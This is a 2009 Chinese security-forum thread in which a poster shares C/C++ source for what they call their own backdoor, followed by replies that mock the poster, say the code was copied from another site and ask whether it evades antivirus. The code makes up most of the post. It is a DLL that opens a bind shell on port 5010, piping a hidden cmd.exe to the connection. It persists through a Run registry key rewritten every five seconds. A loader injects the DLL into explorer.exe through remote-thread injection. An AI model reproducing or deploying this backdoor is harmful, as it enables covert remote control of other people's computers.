首页
社区
课程
招聘
[旧帖] [原创]自己写的一个后门程序,懂编程的进,新手跳过`(申请邀请码) 0.00雪花
发表于: 2009-7-15 18:45 2777

[旧帖] [原创]自己写的一个后门程序,懂编程的进,新手跳过`(申请邀请码) 0.00雪花

2009-7-15 18:45
2777
#include "stdafx.h"
#include "winsock2.h"

#pragma comment(lib,"ws2_32")

#define PORT 5010
#define REG_RUN "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

struct THREADPARAM
{
SOCKET sock;
HANDLE handle;
};

DWORD WINAPI ControlThread(void *no);
DWORD WINAPI BDoor(void *lp);
DWORD WINAPI RecvThread(void *lp);
DWORD WINAPI SendThread(void *lp);
DWORD WINAPI WriteReg(void *no);

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
::CreateThread(NULL,0,ControlThread,NULL,0,NULL);
break;
}

case DLL_PROCESS_DETACH:
{
break;
}
}
return TRUE;
}

DWORD WINAPI ControlThread(void *no)
{
CreateThread(NULL,0,WriteReg,NULL,0,NULL);

WSADATA wsaData;
SOCKET listenSock;
if(::WSAStartup(MAKEWORD(2,2),&wsaData)!=0)
{
return -1;
}

if((listenSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
return -1;
}

sockaddr_in localAddr,inAddr;
int addrLen=sizeof(inAddr);

localAddr.sin_addr.S_un.S_addr=0;
localAddr.sin_family=AF_INET;
localAddr.sin_port=htons(PORT);
if(bind(listenSock,(sockaddr *)&localAddr,sizeof(localAddr))

==SOCKET_ERROR)
{
closesocket(listenSock);
return -1;
}
listen(listenSock,5);

while(TRUE)
{
SOCKET acceptSock=accept(listenSock,(sockaddr *)&inAddr,&addrLen);
DWORD ID;
CreateThread(NULL,0,BDoor,&acceptSock,0,&ID);
Sleep(100);
}

closesocket(listenSock);
::WSACleanup();
}

DWORD WINAPI WriteReg(void *no)
{
char sysPath[MAX_PATH]={0};
int ret=::GetSystemDirectory(sysPath,MAX_PATH);
if(sysPath[ret-1]!='\\')
strcat(sysPath,"\\");
strcat(sysPath,"DllInjection.exe");
int len=strlen(sysPath);
while(TRUE)
{
HKEY hKey;
if(::RegOpenKey(HKEY_LOCAL_MACHINE,REG_RUN,&hKey)!=ERROR_SUCCESS)
continue;
::RegSetValueEx(hKey,"sysDll",0,REG_SZ,(BYTE *)sysPath,len);

::RegCloseKey(hKey);
Sleep(5000);
}
return 0;
}

DWORD WINAPI BDoor(void *lp)
{
SOCKET sock=*((SOCKET *)lp);
HANDLE hCmdOut,hCmdIn,hRead,hWrite;

SECURITY_ATTRIBUTES sec={0};
sec.nLength=sizeof(sec);
sec.lpSecurityDescriptor=NULL;
sec.bInheritHandle=TRUE;
CreatePipe(&hCmdIn,&hWrite,&sec,0);
CreatePipe(&hRead,&hCmdOut,&sec,0);

char cmdDir[MAX_PATH]={0};
::GetSystemDirectory(cmdDir,MAX_PATH);
if(cmdDir[strlen(cmdDir)-1]!='\\')
strcat(cmdDir,"\\");
strcat(cmdDir,"cmd.exe");

STARTUPINFO startUpInfo={0};
startUpInfo.cb=sizeof(startUpInfo);
startUpInfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startUpInfo.wShowWindow=SW_HIDE;
startUpInfo.hStdError=startUpInfo.hStdOutput=hCmdOut;
startUpInfo.hStdInput=hCmdIn;

PROCESS_INFORMATION processInfo={0};
int ret=CreateProcess

(cmdDir,NULL,NULL,NULL,TRUE,0,NULL,NULL,&startUpInfo,&processInfo);
if(ret==0)
{
return -1;
}
CloseHandle(hCmdIn);
CloseHandle(hCmdOut);

DWORD ID1,ID2;
HANDLE hRecvThread,hSendThread;
THREADPARAM recvParam={0},sendParam={0};

recvParam.sock=sock;
recvParam.handle=hWrite;
hRecvThread=CreateThread(NULL,0,RecvThread,&recvParam,0,&ID1);

sendParam.sock=sock;
sendParam.handle=hRead;
hSendThread=CreateThread(NULL,0,SendThread,&sendParam,0,&ID2);

ULONG code;
::WaitForSingleObject(hRecvThread,INFINITE);
::GetExitCodeThread(hSendThread,&code);
::TerminateThread(hSendThread,code);
::GetExitCodeProcess(processInfo.hProcess,&code);
::TerminateProcess(processInfo.hProcess,code);
closesocket(sock);
CloseHandle(hWrite);
CloseHandle(hRead);
return 0;
}

DWORD WINAPI RecvThread(void *lp)
{
char cmd[256]={0};
THREADPARAM param=*((THREADPARAM *)lp);
while(1)
{
char temp[2]={0};
int ret=recv(param.sock,temp,1,0);
if(ret==0)
{
break;
}
else if(ret==1)
{
send(param.sock,temp,1,0);
strcat(cmd,temp);
if(temp[0]=='\n')
{
if(_stricmp(cmd,"exit\r\n")==0)
{
break;
}
ULONG len;
::WriteFile(param.handle,cmd,strlen(cmd),&len,NULL);
memset(cmd,0,256);
}
}
}
return 0;
}

DWORD WINAPI SendThread(void *lp)
{
THREADPARAM param=*((THREADPARAM *)lp);
char buf[1024]={0};
while(1)
{
ULONG len=0;
::PeekNamedPipe(param.handle,buf,1024,&len,NULL,NULL);
if(len>0)
{
::ReadFile(param.handle,buf,1024,&len,NULL);
send(param.sock,buf,len,0);
memset(buf,0,1024);
}
Sleep(100);
}
return 0;
}

// Dll.cpp

#include "stdafx.h"
#include "windows.h"
#include "stdlib.h"
#include "tlhelp32.h"
#include "io.h"

long GetProcessID(char *processName);

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
Sleep(5000);
long ID=GetProcessID("explorer");
if(ID==-1)
return -1;

HINSTANCE hDll;
HINSTANCE (* pProc)(LPCTSTR);
DWORD (WINAPI * pThreadProc)(void *);
if((hDll=::LoadLibrary("kernel32.dll"))==NULL)
return -1;
if((pProc=(HINSTANCE (*)(LPCTSTR))::GetProcAddress(hDll,"LoadLibraryA"))

==NULL)
return -1;
pThreadProc=(DWORD (WINAPI *)(void *))pProc;

HANDLE hProcess=::OpenProcess(PROCESS_ALL_ACCESS,TRUE,ID);
if(hProcess==NULL)
return -1;

char pDllPath[MAX_PATH]={0};
char *pRemoteAddr=NULL;
int ret=::GetSystemDirectory(pDllPath,MAX_PATH);
if(pDllPath[ret-1]!='\\')
strcat(pDllPath,"\\");
strcat(pDllPath,"BDoor.dll");
if(::_access(pDllPath,0)==-1)
return -1;

pRemoteAddr=(char*)::VirtualAllocEx(hProcess,NULL,strlen(pDllPath)

1,MEM_COMMIT,PAGE_READWRITE);
if(pRemoteAddr==NULL)
return -1;
ret=::WriteProcessMemory(hProcess,pRemoteAddr,pDllPath,strlen

(pDllPath),NULL);
if(ret==0)
return -1;

HANDLE hRemoteThread=::CreateRemoteThread

(hProcess,NULL,0,pThreadProc,pRemoteAddr,0,NULL);

Sleep(100);
::VirtualFreeEx(hProcess,pRemoteAddr,strlen(pDllPath) 1,MEM_DECOMMIT);
::CloseHandle(hProcess);
return 0;
}

long GetProcessID(char *processName)
{
HANDLE hSnapshot;
PROCESSENTRY32 pe32={0};
BOOL fRet;

hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hSnapshot==NULL)
return -1;

pe32.dwSize=sizeof(PROCESSENTRY32);
fRet=Process32First(hSnapshot,&pe32);
if(!fRet)
return -1;

int g=0;
char drive[_MAX_DRIVE]={0};
char dir[_MAX_DIR]={0};
char fname[_MAX_FNAME]={0};
char ext[_MAX_EXT]={0};
do
{
_splitpath(pe32.szExeFile,drive,dir,fname,ext);
if(_stricmp(processName,fname)==0)
{
g=1;
break;
}
}while(Process32Next(hSnapshot,&pe32));
if(g!=1)
return -1;

return pe32.th32ProcessID;
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (39)
雪    币: 21
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
moonife 今天的邀请码什么时候发啊?
2009-7-15 18:48
0
雪    币: 125
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
光贴代码 哪有邀请码?
2009-7-15 19:37
0
雪    币: 2362
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
2009-7-15 19:44
0
雪    币: 67
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
没什么用处
2009-7-15 19:50
0
雪    币: 234
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
连什么语言都不写,更别说注释了,妄想拿邀请码
2009-7-16 10:10
0
雪    币: 51
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
这是什么来的呃...
2009-7-16 11:39
0
雪    币: 21
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
注释 是写给新手看的,一个优秀的程序员,一拿到代码,就可以完全模拟出另一个程序了。
懂程序的人一看就知道是VC写的,还要另外注明吗?
2009-7-16 11:40
0
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
帮楼主顶一下,学习中。
2009-7-16 12:04
0
雪    币: 63
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
少东西吧?通篇都没看到一个connect函数,那还咋连结呢?
2009-7-16 12:29
0
雪    币: 2067
活跃值: (82)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
11
少了这行字感觉不是那么的原味
"这是本人考研后的第一个作品(其实是很简陋的一个东西),拿出来共享,算是纪念考研成功吧!开放源代码,让大虾们见笑了。"

http://www.wangchao.net.cn/bbsdetail_67038.html

不知版主有没有在记名?
有的话..此ID下次要转正就更难了.
2009-7-16 12:36
0
雪    币: 370
活跃值: (52)
能力值: ( LV13,RANK:350 )
在线值:
发帖
回帖
粉丝
12
不记名 但请各位新人朋友要对自己和论坛认真负责才好
谢谢sessiondiy,谢谢各位的支持了
2009-7-16 12:49
0
雪    币: 2368
活跃值: (81)
能力值: (RANK:300 )
在线值:
发帖
回帖
粉丝
13
或许就是同一人...
2009-7-16 12:59
0
雪    币: 78
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
也是为码而来的
2009-7-16 13:11
0
雪    币: 54
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
C  写的都看不出来 别混了都!!
2009-7-16 13:16
0
雪    币: 79
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
后门程序放在 SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run 里面启动 也太明显了。。。。。。
2009-7-16 13:45
0
雪    币: 100
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
17
能够饶过多少个国内主流的杀毒软件???
2009-7-16 16:42
0
雪    币: 224
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
楼主太强了。。。
2009-7-16 16:56
0
雪    币: 21
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
这是我早期写的代码`翻了翻硬盘才找出来。
最近为了看雪里面的一个源码才千方百计的想混进来的`
想尽量早点拿到激活码。
2009-7-16 18:32
0
雪    币: 21
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
如果顶帖可以拿激活码,我还有个刷论坛的源码,可以现场调试一下``````
2009-7-16 18:33
0
雪    币: 21
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
不拿邀请,誓不罢休```
2009-7-16 19:01
0
雪    币: 2362
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
你的责任非常大
谨慎  谨慎
2009-7-16 19:42
0
雪    币: 2362
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
我分不出是c还是c++
不混了
2009-7-16 19:45
0
雪    币: 234
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
LZ请看看这是哪里,新人交流投稿,先不算蒙不蒙我(我没学过C++),也不能说新手跳过啊。通篇代码。。。。

还说懂程序滴,所谓编程,VB,汇编就不是吗?如果你觉得你很优秀,先转正吧,没有转正的人,我还没看到过高手。
会VB跟汇编,编译我还是会滴,别蒙人了
2009-7-17 11:41
0
雪    币: 40
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
2009-7-17 17:48
0
游客
登录 | 注册 方可回帖
返回
//